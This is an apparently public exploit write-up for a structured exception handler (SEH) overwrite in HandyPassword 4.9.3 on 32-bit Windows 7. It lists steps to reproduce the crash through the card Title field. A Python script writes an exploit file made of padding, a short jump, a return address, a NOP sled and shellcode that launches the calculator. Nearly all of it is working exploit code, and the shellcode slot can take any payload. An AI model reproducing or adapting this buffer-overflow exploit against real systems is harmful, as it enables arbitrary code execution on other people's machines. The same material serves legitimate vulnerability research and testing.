HandyPassword 4.9.3 – Overwrite (SEH)
''' ******************************************************************************************** # Exploit Title: HandyPassword SEH-Over Write Exploit # Date: 9/24/2015 # Exploit Author: Un_N0n # Software Link: http://www.handypassword.com/download.shtml # Version: 4.9.3 # Tested on: Windows 7 x86(32 BIT) ******************************************************************************************** [Steps to Produce the Crash]: 1- open 'HandyPassword.exe'. 2- Then From Menu Goto New Card->Simple Login Form. 3- Click on Create Card, Enter the contents of 'Exploit.txt' Created by script in the Title Field. 4- Enter Short Random value in the rest of the fields. 5- Click on OK ~ Calculator will appear and Software will Crash. [Code to produce Exploit]: ''' junk = "A"*1144 nseh = "\xeb\x06\x90\x90" #JMP 6bytes jmp ="\xB3\x27\x2F\x7F" #0x7f2f27b3 From nops = "\x90"*50 shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"); junk2 = "D"*2000 file = open("exploit.txt",'w') file.write(junk+nseh+jmp+nops+shellcode+junk2) file.close() |